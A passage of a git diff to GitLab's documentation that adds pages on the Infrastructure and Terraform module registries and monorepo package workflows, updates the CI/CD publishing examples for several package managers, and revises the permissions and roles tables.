gitlab.Spelling = YES --> @@ -54,6 +53,16 @@ guides you through the process. The GitLab [Container Registry](container_registry/index.md) is a secure and private registry for container images. It's built on open source software and completely integrated within GitLab. Use GitLab CI/CD to create and publish images. Use the GitLab [API](../../api/container_registry.md) to manage the registry across groups and projects. +## Infrastructure Registry + +The GitLab [Infrastructure Registry](infrastructure_registry/index.md) is a secure and private registry for infrastructure packages. You can use GitLab CI/CD to create and publish infrastructure packages. + +The Infrastructure Registry supports the following formats: + +| Package type | GitLab version | +| ------------ | -------------- | +| [Terraform Module](terraform_module_registry/index.md) | 14.0+ | + ## Dependency Proxy The [Dependency Proxy](dependency_proxy/index.md) is a local proxy for frequently-used upstream images and packages. diff --git a/doc/user/packages/infrastructure_registry/index.md b/doc/user/packages/infrastructure_registry/index.md new file mode 100644 index 00000000000..00370bd2f48 --- /dev/null +++ b/doc/user/packages/infrastructure_registry/index.md @@ -0,0 +1,93 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Infrastructure Registry **(FREE)** + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3221) in GitLab 14.0. + +With the GitLab Infrastructure Registry, you can use GitLab projects as a +private registry for infrastructure packages. You can create and publish +packages with GitLab CI/CD, which can then be consumed from other private +projects. + +## View packages + +To view packages within your project or group: + +1. Go to the project or group. +1. Go to **Packages & Registries > Infrastructure Registry**. + +You can search, sort, and filter packages on this page. + +When you view packages in a group: + +- All packages published to the group and its projects are displayed. +- Only the projects you can access are displayed. +- If a project is private, or you are not a member of the project, it is not displayed. + +For information on how to create and upload a package, view the GitLab +documentation for your package type: + +- [Terraform modules](../terraform_module_registry/index.md) + +## Use GitLab CI/CD to build packages + +To use [GitLab CI/CD](../../../ci/README.md) to build packages, you can +authenticate with the [`CI_JOB_TOKEN` predefined variable](../../../ci/variables/predefined_variables.md). + +CI/CD templates, which you can use to get started, are in [this repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). + +Learn more about using CI/CD to build: + +- [Terraform modules](../terraform_module_registry/index.md#publish-a-terraform-module-by-using-cicd) + +If you use CI/CD to build a package, you can find extended activity information +when you view the package details: + + + +You can see the pipeline that published the package as well as the commit and the user who triggered it. However, the history is limited to five updates per package. + +## Download a package + +To download a package: + +1. Go to **Packages & Registries > Infrastructure Registry**. +1. Select the name of the package you want to download. +1. In the **Activity** section, select the name of the package you want to download. + +## Delete a package + +You cannot edit a package after you publish it in the Infrastructure Registry. Instead, you +must delete and recreate it. + +To delete a package, you must have suitable [permissions](../../permissions.md). + +You can delete packages by using [the API](../../../api/packages.md#delete-a-project-package) or the UI. + +To delete a package in the UI, from your group or project: + +1. Go to **Packages & Registries > Infrastructure Registry**. +1. Find the name of the package you want to delete. +1. Select **Delete**. + +The package is permanently deleted. + +## Disable the Infrastructure Registry + +The Infrastructure Registry is automatically enabled. + +For self-managed instances, a GitLab administrator can +[disable](../../../administration/packages/index.md) **Packages & Registries**, +which removes this menu item from the sidebar. **(FREE SELF)** + +You can also remove the Infrastructure Registry for a specific project: + +1. In your project, go to **Settings > General**. +1. Expand the **Visibility, project features, permissions** section and toggle **Packages** off (in gray). +1. Select **Save changes**. + +To enable it back, follow the same steps above and toggle it on (in blue). diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md index ba7b55dc47d..2567cc3b828 100644 --- a/doc/user/packages/maven_repository/index.md +++ b/doc/user/packages/maven_repository/index.md @@ -341,7 +341,7 @@ file: ```groovy repositories { maven { - url "https://gitlab.example.com/api/v4/groups/<group>/-/packages/maven" + url "${CI_API_V4_URL}/groups/<group>/-/packages/maven" name "GitLab" credentials(HttpHeaderCredentials) { name = 'Job-Token' @@ -611,8 +611,11 @@ Now navigate to your project's **Packages & Registries** page and view the publi ### Publishing a package with the same name or version -When you publish a package with the same name or version as an existing package, -the existing package is overwritten. +When you publish a package with the same name and version as an existing package, the new package +files are added to the existing package. You can still use the UI or API to access and view the +existing package's older files. + +To delete these older package versions, consider using the Packages API or the UI. #### Do not allow duplicate Maven packages @@ -742,17 +745,17 @@ You can create a new package each time the `master` branch is updated. <repositories> <repository> <id>gitlab-maven</id> - <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url> + <url>$env{CI_API_V4_URL}/projects/${env.CI_PROJECT_ID}/packages/maven</url> </repository> </repositories> <distributionManagement> <repository> <id>gitlab-maven</id> - <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url> + <url>${CI_API_V4_URL}/projects/${env.CI_PROJECT_ID}/packages/maven</url> </repository> <snapshotRepository> <id>gitlab-maven</id> - <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url> + <url>${CI_API_V4_URL}/projects/${env.CI_PROJECT_ID}/packages/maven</url> </snapshotRepository> </distributionManagement> ``` diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md index ace432b305f..735873be237 100644 --- a/doc/user/packages/npm_registry/index.md +++ b/doc/user/packages/npm_registry/index.md @@ -110,7 +110,8 @@ To authenticate, use one of the following: - It's not recommended, but you can use [OAuth tokens](../../../api/oauth2.md#resource-owner-password-credentials-flow). Standard OAuth tokens cannot authenticate to the GitLab npm Registry. You must use a personal access token with OAuth headers. - A [CI job token](#authenticate-with-a-ci-job-token). -- Your npm package name must be in the format of [@scope/package-name](#package-naming-convention). It must match exactly, including the case. +- Your npm package name must be in the format of [`@scope/package-name`](#package-naming-convention). + It must match exactly, including the case. ### Authenticate with a personal access token or deploy token @@ -282,7 +283,7 @@ Prerequisites: - [Authenticate](#authenticate-to-the-package-registry) to the Package Registry. - Set a [project-level npm endpoint](#use-the-gitlab-endpoint-for-npm-packages). -- Your npm package name must be in the format of [@scope/package-name](#package-naming-convention). +- Your npm package name must be in the format of [`@scope/package-name`](#package-naming-convention). It must match exactly, including the case. This is different than the npm naming convention, but it is required to work with the GitLab Package Registry. @@ -300,7 +301,7 @@ stages: deploy: stage: deploy script: - - echo "//gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}">.npmrc + - echo "//${CI_SERVER_HOST}/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}">.npmrc - npm publish ``` @@ -532,7 +533,7 @@ If you get this error, ensure that: ### `npm publish` returns `npm ERR! 400 Bad Request` If you get this error, your package name may not meet the -[@scope/package-name package naming convention](#package-naming-convention). +[`@scope/package-name` package naming convention](#package-naming-convention). Ensure the name meets the convention exactly, including the case. Then try to publish again. diff --git a/doc/user/packages/nuget_repository/index.md b/doc/user/packages/nuget_repository/index.md index 7e59b19076a..f19d565ef36 100644 --- a/doc/user/packages/nuget_repository/index.md +++ b/doc/user/packages/nuget_repository/index.md @@ -336,7 +336,7 @@ updated: stage: deploy script: - dotnet pack -c Release - - dotnet nuget add source "$CI_SERVER_URL/api/v4/projects/$CI_PROJECT_ID/packages/nuget/index.json" --name gitlab --username gitlab-ci-token --password $CI_JOB_TOKEN --store-password-in-clear-text + - dotnet nuget add source "${CI_API_V4_URL}/${CI_PROJECT_ID}/packages/nuget/index.json" --name gitlab --username gitlab-ci-token --password $CI_JOB_TOKEN --store-password-in-clear-text - dotnet nuget push "bin/Release/*.nupkg" --source gitlab only: - master diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md index f04f6f1316e..52ce7d62940 100644 --- a/doc/user/packages/package_registry/index.md +++ b/doc/user/packages/package_registry/index.md @@ -40,14 +40,16 @@ authenticate with GitLab by using the `CI_JOB_TOKEN`. CI/CD templates, which you can use to get started, are in [this repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). -Learn more about using CI/CD to build: +Learn more about using the GitLab Package Registry with CI/CD: -- [Composer packages](../composer_repository/index.md#publish-a-composer-package-by-using-cicd) -- [Conan packages](../conan_repository/index.md#publish-a-conan-package-by-using-cicd) -- [Generic packages](../generic_packages/index.md#publish-a-generic-package-by-using-cicd) -- [Maven packages](../maven_repository/index.md#create-maven-packages-with-gitlab-cicd) -- [npm packages](../npm_registry/index.md#publish-an-npm-package-by-using-cicd) -- [NuGet packages](../nuget_repository/index.md#publish-a-nuget-package-by-using-cicd) +- [Composer](../composer_repository/index.md#publish-a-composer-package-by-using-cicd) +- [Conan](../conan_repository/index.md#publish-a-conan-package-by-using-cicd) +- [Generic](../generic_packages/index.md#publish-a-generic-package-by-using-cicd) +- [Maven](../maven_repository/index.md#create-maven-packages-with-gitlab-cicd) +- [npm](../npm_registry/index.md#publish-an-npm-package-by-using-cicd) +- [NuGet](../nuget_repository/index.md#publish-a-nuget-package-by-using-cicd) +- [PyPI](../pypi_repository/#authenticate-with-a-ci-job-token) +- [RubyGems](../rubygems_registry/#authenticate-with-a-ci-job-token) If you use CI/CD to build a package, extended activity information is displayed when you view the package details: @@ -81,6 +83,22 @@ To delete a package in the UI, from your group or project: The package is permanently deleted. +## Delete files associated with a package + +To delete package files, you must have suitable [permissions](../../permissions.md). + +You can delete packages by using [the API](../../../api/packages.md#delete-a-package-file) or the UI. + +To delete package files in the UI, from your group or project: + +1. Go to **Packages & Registries > Package Registry**. +1. Find the name of the package you want to delete. +1. Select the package to view additional details. +1. Find the name of the file you would like to delete. +1. Expand the ellipsis and select **Delete file**. + +The package files are permanently deleted. + ## Disable the Package Registry The Package Registry is automatically enabled. @@ -100,6 +118,9 @@ The **Packages & Registries > Package Registry** entry is removed from the sideb ## Package workflows -Learn how to use the GitLab Package Registry to build your own custom package workflow. +Learn how to use the GitLab Package Registry to build your own custom package workflow: + +- [Use a project as a package registry](../workflows/project_registry.md) + to publish all of your packages to one project. -- [Use a project as a package registry](../workflows/project_registry.md) to publish all of your packages to one project. +- Publish multiple different packages from one [monorepo project](../workflows/working_with_monorepos.md). diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md index 17b51e313fa..2dd00fdc273 100644 --- a/doc/user/packages/pypi_repository/index.md +++ b/doc/user/packages/pypi_repository/index.md @@ -216,7 +216,7 @@ run: script: - pip install twine - python setup.py sdist bdist_wheel - - TWINE_PASSWORD=${CI_JOB_TOKEN} TWINE_USERNAME=gitlab-ci-token python -m twine upload --repository-url https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/packages/pypi dist/* + - TWINE_PASSWORD=${CI_JOB_TOKEN} TWINE_USERNAME=gitlab-ci-token python -m twine upload --repository-url ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/pypi dist/* ``` You can also use `CI_JOB_TOKEN` in a `~/.pypirc` file that you check in to @@ -233,6 +233,14 @@ username = gitlab-ci-token password = ${env.CI_JOB_TOKEN} ``` +### Authenticate to access packages within a group + +Follow the instructions above for the token type, but use the group URL in place of the project URL: + +```shell +https://gitlab.example.com/api/v4/groups/<group_id>/-/packages/pypi +``` + ## Publish a PyPI package Prerequisites: @@ -316,6 +324,8 @@ more than once, a `404 Bad Request` error occurs. ## Install a PyPI package +### Install from the project level + To install the latest version of a package, use the following command: ```shell @@ -350,6 +360,33 @@ Installing collected packages: mypypipackage Successfully installed mypypipackage-0.0.1 ``` +### Install from the group level + +To install the latest version of a package from a group, use the following command: + +```shell +pip install --index-url https://<personal_access_token_name>:<personal_access_token>@gitlab.example.com/api/v4/groups/<group_id>/-/packages/pypi/simple --no-deps <package_name> +``` + +In this command: + +- `<package_name>` is the package name. +- `<personal_access_token_name>` is a personal access token name with the `read_api` scope. +- `<personal_access_token>` is a personal access token with the `read_api` scope. +- `<group_id>` is the group ID. + +In these commands, you can use `--extra-index-url` instead of `--index-url`. However, using +`--extra-index-url` makes you vulnerable to dependency confusion attacks because it checks the PyPi +repository for the package before it checks the custom repository. `--extra-index-url` adds the +provided URL as an additional registry which the client checks if the package is present. +`--index-url` tells the client to check for the package at the provided URL only. + +If you're following the guide and want to install the `MyPyPiPackage` package, you can run: + +```shell +pip install mypypipackage --no-deps --index-url https://<personal_access_token_name>:<personal_access_token>@gitlab.example.com/api/v4/groups/<your_group_id>/-/packages/pypi/simple +``` + ### Package names GitLab looks for packages that use diff --git a/doc/user/packages/rubygems_registry/index.md b/doc/user/packages/rubygems_registry/index.md index e4d297ac1d8..743bc229e11 100644 --- a/doc/user/packages/rubygems_registry/index.md +++ b/doc/user/packages/rubygems_registry/index.md @@ -88,11 +88,11 @@ run: - mkdir ~/.gem - echo "---" > ~/.gem/credentials - | - echo "https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/packages/rubygems: '${CI_JOB_TOKEN}'" >> ~/.gem/credentials + echo "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/rubygems: '${CI_JOB_TOKEN}'" >> ~/.gem/credentials - chmod 0600 ~/.gem/credentials # rubygems requires 0600 permissions on the credentials file script: - gem build my_gem - - gem push my_gem-0.0.1.gem --host https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/packages/rubygems + - gem push my_gem-0.0.1.gem --host ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/rubygems ``` You can also use `CI_JOB_TOKEN` in a `~/.gem/credentials` file that you check in to diff --git a/doc/user/packages/terraform_module_registry/index.md b/doc/user/packages/terraform_module_registry/index.md new file mode 100644 index 00000000000..efb2b8ddf8e --- /dev/null +++ b/doc/user/packages/terraform_module_registry/index.md @@ -0,0 +1,124 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Terraform module registry **(FREE)** + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3221) in GitLab 14.0. + +Publish Terraform modules in your project's Infrastructure Registry, then reference them using GitLab +as a Terraform module registry. + +## Authenticate to the Terraform module registry + +To authenticate to the Terraform module registry, you need either: + +- A [personal access token](../../../api/README.md#personalproject-access-tokens) with at least `read_api` rights. +- A [CI/CD job token](../../../api/README.md#gitlab-cicd-job-token). + +## Publish a Terraform Module + +When you publish a Terraform Module, if it does not exist, it is created. + +If a package with the same name and version already exists, it will not be created. It does not overwrite the existing package. + +Prerequisites: + +- You need to [authenticate with the API](../../../api/README.md#authentication). If authenticating with a deploy token, it must be configured with the `write_package_registry` scope. + +```plaintext +PUT /projects/:id/packages/terraform/modules/:module_name/:module_system/:module_version/file +``` + +| Attribute | Type | Required | Description | +| -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). | +| `module_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), or hyphens (`-`). +| `module_system` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), or hyphens (`-`). +| `module_version` | string | yes | The package version. It must be valid according to the [Semantic Versioning Specification](https://semver.org/). + +Provide the file content in the request body. + +Example request using a personal access token: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" \ + --upload-file path/to/file.tgz \ + "https://gitlab.example.com/api/v4/projects/<your_project_id>/packages/terraform/modules/my-module/my-system/0.0.1/file" +``` + +Example response: + +```json +{ + "message":"201 Created" +} +``` + +Example request using a deploy token: + +```shell +curl --header "DEPLOY-TOKEN: <deploy_token>" \ + --upload-file path/to/file.tgz \ + "https://gitlab.example.com/api/v4/projects/<your_project_id>/packages/terraform/modules/my-module/my-system/0.0.1/file" +``` + +Example response: + +```json +{ + "message":"201 Created" +} +``` + +## Reference a Terraform Module + +Prerequisites: + +- You need to [authenticate with the API](../../../api/README.md#authentication). If authenticating with a personal access token, it must be configured with the `read_api` scope. + +Authentication tokens (Job Token or Personal Access Token) can be provided for `terraform` in your `~/.terraformrc` file: + +```plaintext +credentials "gitlab.com" { + token = "<TOKEN>" +} +``` + +Where `gitlab.com` can be replaced with the hostname of your self-managed GitLab instance. + +You can then reference your Terraform Module from a downstream Terraform project: + +```plaintext +module "<module>" { + source = "gitlab.com/<namespace>/<module_name>/<module_system>" +} +``` + +## Publish a Terraform module by using CI/CD + +To work with Terraform modules in [GitLab CI/CD](../../../ci/README.md), you can use +`CI_JOB_TOKEN` in place of the personal access token in your commands. + +For example: + +```yaml +image: curlimages/curl:latest + +stages: + - upload + +upload: + stage: upload + script: + - 'curl --header "JOB-TOKEN: $CI_JOB_TOKEN" --upload-file path/to/file.tgz "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/terraform/modules/my-module/my-system/0.0.1/file"' +``` + +## Example projects + +For examples of the Terraform module registry, check the projects below: + +- The [_GitLab local file_ project](https://gitlab.com/mattkasa/gitlab-local-file) creates a minimal Terraform module and uploads it into the Terraform module registry using GitLab CI/CD. +- The [_Terraform module test_ project](https://gitlab.com/mattkasa/terraform-module-test) uses the module from the previous example. diff --git a/doc/user/packages/workflows/project_registry.md b/doc/user/packages/workflows/project_registry.md index 3e1c1e7f2ad..12978ad72a5 100644 --- a/doc/user/packages/workflows/project_registry.md +++ b/doc/user/packages/workflows/project_registry.md @@ -34,8 +34,8 @@ of each package management system to publish different package types to the same Let's take a look at how you might create a public place to hold all of your public packages. -1. Create a new project in GitLab. The project doesn't require any code or content. Note the project ID - that's displayed on the project overview page. +1. Create a new project in GitLab. The project doesn't require any code or content. +1. On the left sidebar, select **Project information**, and note the project ID. 1. Create an access token. All package types in the Package Registry are accessible by using [GitLab personal access tokens](../../profile/personal_access_tokens.md). If you're using CI/CD, you can use CI job tokens (`CI_JOB_TOKEN`) to authenticate. diff --git a/doc/user/packages/workflows/working_with_monorepos.md b/doc/user/packages/workflows/working_with_monorepos.md new file mode 100644 index 00000000000..4e431b036de --- /dev/null +++ b/doc/user/packages/workflows/working_with_monorepos.md @@ -0,0 +1,64 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Monorepo package management workflows + +One project or Git repository can contain multiple different subprojects or submodules that are all +packaged and published individually. + +## Publishing different packages to the parent project + +The number and name of packages you can publish to one project is not limited. +You can accomplish this by setting up different configuration files for each +package. See the documentation for the package manager of your choice since +each has its own specific files and instructions to follow to publish +a given package. + +The example here uses [NPM](../npm_registry/index.md). +In this example, `MyProject` is the parent project. It contains a sub-project `Foo` in the +`components` directory: + +```plaintext +MyProject/ + |- src/ + | |- components/ + | |- Foo/ + |- package.json +``` + +The goal is to publish the packages for `MyProject` and `Foo`. Following the instructions in the +[GitLab NPM registry documentation](../npm_registry/index.md), +you can publish `MyProject` by modifying the `package.json` file with a `publishConfig` section, +and by doing one of the following: + +- Modify your local NPM configuration with CLI commands like `npm config set`. +- Save a `.npmrc` file in the root of the project specifying these configuration settings. + +If you follow the instructions, you can publish `MyProject` by running `npm publish` from the root +directory. + +Publishing `Foo` is almost exactly the same. Simply follow the same steps while in the `Foo` +directory. `Foo` needs its own `package.json` file, which you can add manually by using `npm init`. +`Foo` also needs its own configuration settings. Since you are publishing to the same place, if you +used `npm config set` to set the registry for the parent project, then no additional setup is +necessary. If you used an `.npmrc` file, you need an additional `.npmrc` file in the `Foo` directory. +Be sure to add `.npmrc` files to the `.gitignore` file or use environment variables in place of your +access tokens to prevent your tokens from being exposed. This `.npmrc` file can be identical to the +one you used in `MyProject`. You can now run `npm publish` from the `Foo` directory and you can +publish `Foo` separately from `MyProject`. + +You could follow a similar process for Conan packages. However, instead of `.npmrc` and +`package.json`, you have `conanfile.py` in multiple locations within the project. + +## Publishing to other projects + +A package is associated with a project on GitLab, but the package does not need to be associated +with the code in that project. When configuring NPM or Maven, you only use the `Project ID` to set +the registry URL that the package uploads to. If you set this to any project that you have access to +and update any other configuration similarly depending on the package type, your packages are +published to that project. This means you can publish multiple packages to one project, even if +their code does not exist in the same place. See the [project registry workflow documentation](project_registry.md) +for more information. diff --git a/doc/user/permissions.md b/doc/user/permissions.md index 245efc0e908..6739d08e156 100644 --- a/doc/user/permissions.md +++ b/doc/user/permissions.md @@ -4,20 +4,17 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Permissions +# Permissions and roles -Users have different abilities depending on the access level they have in a +Users have different abilities depending on the role they have in a particular group or project. If a user is both in a project's group and the -project itself, the highest permission level is used. +project itself, the highest role is used. -On public and internal projects, the Guest role is not enforced. All users can: +On [public and internal projects](../api/projects.md#project-visibility-level), the Guest role +(not to be confused with [Guest user](#free-guest-users)) is not enforced. -- Create issues. -- Leave comments. -- Clone or download the project code. - -When a member leaves a team's project, all the assigned [Issues](project/issues/index.md) and [Merge Requests](project/merge_requests/index.md) -are unassigned automatically. +When a member leaves a team's project, all the assigned [issues](project/issues/index.md) and +[merge requests](project/merge_requests/index.md) are automatically unassigned. GitLab [administrators](../administration/index.md) receive all permissions. @@ -39,11 +36,11 @@ usernames. A GitLab administrator can configure the GitLab instance to NOTE: In GitLab 11.0, the Master role was renamed to Maintainer. -The Owner permission is only available at the group or personal namespace level (and for instance administrators) and is inherited by its projects. +The Owner role is only available at the group or personal namespace level (and for instance administrators) and is inherited by its projects. While Maintainer is the highest project-level role, some actions can only be performed by a personal namespace or group owner, or an instance administrator, who receives all permissions. For more information, see [projects members documentation](project/members/index.md). -The following table depicts the various user permission levels in a project. +The following table lists project permissions available for each role: | Action | Guest | Reporter | Developer |Maintainer| Owner | |---------------------------------------------------|---------|------------|-------------|----------|--------| @@ -71,7 +68,7 @@ The following table depicts the various user permission levels in a project. | View requirements **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | | View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | | View Issue analytics **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ | -| View Merge Request analytics **(STARTER)** | ✓ | ✓ | ✓ | ✓ | ✓ | +| View Merge Request analytics **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ | | View Value Stream analytics | ✓ | ✓ | ✓ | ✓ | ✓ | | Manage user-starred metrics dashboards (*7*) | ✓ | ✓ | ✓ | ✓ | ✓ | | View confidential issues | (*2*) | ✓ | ✓ | ✓ | ✓ | @@ -80,6 +77,7 @@ The following table depicts the various user permission levels in a project. | Label issues | | ✓ | ✓ | ✓ | ✓ | | Set issue weight | | ✓ | ✓ | ✓ | ✓ | | [Set issue estimate and record time spent](project/time_tracking.md) | | ✓ | ✓ | ✓ | ✓ | +| View a time tracking report | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | | Lock issue threads | | ✓ | ✓ | ✓ | ✓ | | Manage issue tracker | | ✓ | ✓ | ✓ | ✓ | | Manage linked issues | | ✓ | ✓ | ✓ | ✓ | @@ -91,7 +89,7 @@ The following table depicts the various user permission levels in a project. | See [DORA metrics](analytics/ci_cd_analytics.md) | | ✓ | ✓ | ✓ | ✓ | | See a list of merge requests | | ✓ | ✓ | ✓ | ✓ | | View CI/CD analytics | | ✓ | ✓ | ✓ | ✓ | -| View Code Review analytics **(STARTER)** | | ✓ | ✓ | ✓ | ✓ | +| View Code Review analytics **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ | | View Repository analytics | | ✓ | ✓ | ✓ | ✓ | | View Error Tracking list | | ✓ | ✓ | ✓ | ✓ | | View metrics dashboard annotations | | ✓ | ✓ | ✓ | ✓ | @@ -103,6 +101,7 @@ The following table depicts the various user permission levels in a project. | Move [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ | | Reopen [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ | | Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ | +| View project statistics | | ✓ | ✓ | ✓ | ✓ | | Publish [packages](packages/index.md) | | | ✓ | ✓ | ✓ | | Create/edit/delete a Cleanup policy | | | ✓ | ✓ | ✓ | | Upload [Design Management](project/issues/design_management.md) files | | | ✓ | ✓ | ✓ | @@ -119,7 +118,6 @@ The following table depicts the various user permission levels in a project. | Lock merge request threads | | | ✓ | ✓ | ✓ | | Approve merge requests (*9*) | | | ✓ | ✓ | ✓ | | Manage/Accept merge requests | | | ✓ | ✓ | ✓ | -| View project statistics | | | ✓ | ✓ | ✓ | | Create new environments | | | ✓ | ✓ | ✓ | | Stop environments | | | ✓ | ✓ | ✓ | | Enable Review Apps | | | ✓ | ✓ | ✓ | @@ -256,16 +254,18 @@ NOTE: In GitLab 11.0, the Master role was renamed to Maintainer. Any user can remove themselves from a group, unless they are the last Owner of -the group. The following table depicts the various user permission levels in a -group. +the group. + +The following table lists group permissions available for each role: | Action | Guest | Reporter | Developer | Maintainer | Owner | |--------------------------------------------------------|-------|----------|-----------|------------|-------| | Browse group | ✓ | ✓ | ✓ | ✓ | ✓ | | View group wiki pages **(PREMIUM)** | ✓ (6) | ✓ | ✓ | ✓ | ✓ | | View Insights charts **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | -| View group epic **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ | -| Create/edit group epic **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ | +| View group epic **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ | +| Create/edit group epic **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ | +| Create/edit/delete epic boards **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ | | Manage group labels | | ✓ | ✓ | ✓ | ✓ | | See a container registry | | ✓ | ✓ | ✓ | ✓ | | Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ | @@ -289,8 +289,8 @@ group. | Create/Delete group deploy tokens | | | | | ✓ | | Manage group members | | | | | ✓ | | Delete group | | | | | ✓ | -| Delete group epic **(PREMIUM)** | | | | | ✓ | -| Edit SAML SSO Billing **(PREMIUM SAAS)** | ✓ | ✓ | ✓ | ✓ | ✓ (4) | +| Delete group epic **(PREMIUM)** | | | | | ✓ | +| Edit SAML SSO Billing **(PREMIUM SAAS)** | ✓ | ✓ | ✓ | ✓ | ✓ (4) | | View group Audit Events | | | ✓ (7) | ✓ (7) | ✓ | | Disable notification emails | | | | | ✓ | | View Contribution analytics | ✓ | ✓ | ✓ | ✓ | ✓ | @@ -359,10 +359,11 @@ External users still count towards a license seat. An administrator can flag a user as external by either of the following methods: -- Either [through the API](../api/users.md#user-modification). -- Or by navigating to the **Admin Area > Overview > Users** to create a new user - or edit an existing one. There, you can find the option to flag the user as - external. +- [Through the API](../api/users.md#user-modification). +- Using the GitLab UI: + 1. On the top bar, select **Menu >** **{admin}** **Admin**. + 1. On the left sidebar, select **Overview > Users** to create a new user or edit an existing one. + There, you can find the option to flag the user as external. Additionally users can be set as external users using [SAML groups](../integration/saml.md#external-groups) and [LDAP groups](../administration/auth/ldap/index.md#external-groups). @@ -370,7 +371,11 @@ and [LDAP groups](../administration/auth/ldap/index.md#external-groups). ### Setting new users to external By default, new users are not set as external users. This behavior can be changed -by an administrator on the **Admin Area > Settings > General** page, under **Account and limit**. +by an administrator: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > General**. +1. Expand the **Account and limit** section. If you change the default behavior of creating new users as external, you have the option to narrow it down by defining a set of internal users. @@ -455,33 +460,32 @@ NOTE: In GitLab 11.0, the Master role was renamed to Maintainer. GitLab CI/CD permissions rely on the role the user has in GitLab. There are four -permission levels in total: - -- admin -- maintainer -- developer -- guest/reporter - -The admin user can perform any action on GitLab CI/CD in scope of the GitLab -instance and project. In addition, all admins can use the admin interface under -`/admin/runners`. - -| Action | Guest, Reporter | Developer |Maintainer| Admin | -|---------------------------------------|-----------------|-------------|----------|--------| -| See commits and jobs | ✓ | ✓ | ✓ | ✓ | -| Retry or cancel job | | ✓ | ✓ | ✓ | -| Erase job artifacts and job logs | | ✓ (*1*) | ✓ | ✓ | -| Delete project | | | ✓ | ✓ | -| Create project | | | ✓ | ✓ | -| Change project configuration | | | ✓ | ✓ | -| Add specific runners | | | ✓ | ✓ | -| Add shared runners | | | | ✓ | -| See events in the system | | | | ✓ | -| Admin interface | | | | ✓ | +roles: + +- Administrator +- Maintainer +- Developer +- Guest/Reporter + +The Administrator role can perform any action on GitLab CI/CD in scope of the GitLab +instance and project. + +| Action | Guest, Reporter | Developer |Maintainer| Administrator | +|---------------------------------------|-----------------|-------------|----------|---------------| +| See commits and jobs | ✓ | ✓ | ✓ | ✓ | +| Retry or cancel job | | ✓ | ✓ | ✓ | +| Erase job artifacts and job logs | | ✓ (*1*) | ✓ | ✓ | +| Delete project | | | ✓ | ✓ | +| Create project | | | ✓ | ✓ | +| Change project configuration | | | ✓ | ✓ | +| Add specific runners | | | ✓ | ✓ | +| Add shared runners | | | | ✓ | +| See events in the system | | | | ✓ | +| Admin Area | | | | ✓ | 1. Only if the job was: - Triggered by the user - - [In GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/35069) and later, not run for a protected branch + - [In GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/35069) and later, run for a non-protected branch. ### Job permissions diff --git a/doc/user/profile/account/create_accounts.md b/doc/user/profile/account/create_accounts.md index 91688989e55..972414dbf0b 100644 --- a/doc/user/profile/account/create_accounts.md +++ b/doc/user/profile/account/create_accounts.md @@ -14,16 +14,21 @@ You can create users: ## Create users on sign in page -If you have [sign-up enabled](../../admin_area/settings/sign_up_restrictions.md), users can create their own accounts by selecting "Register now" on the sign-in page, or navigate to `https://gitlab.example.com/users/sign_up`. +If you have [sign-up 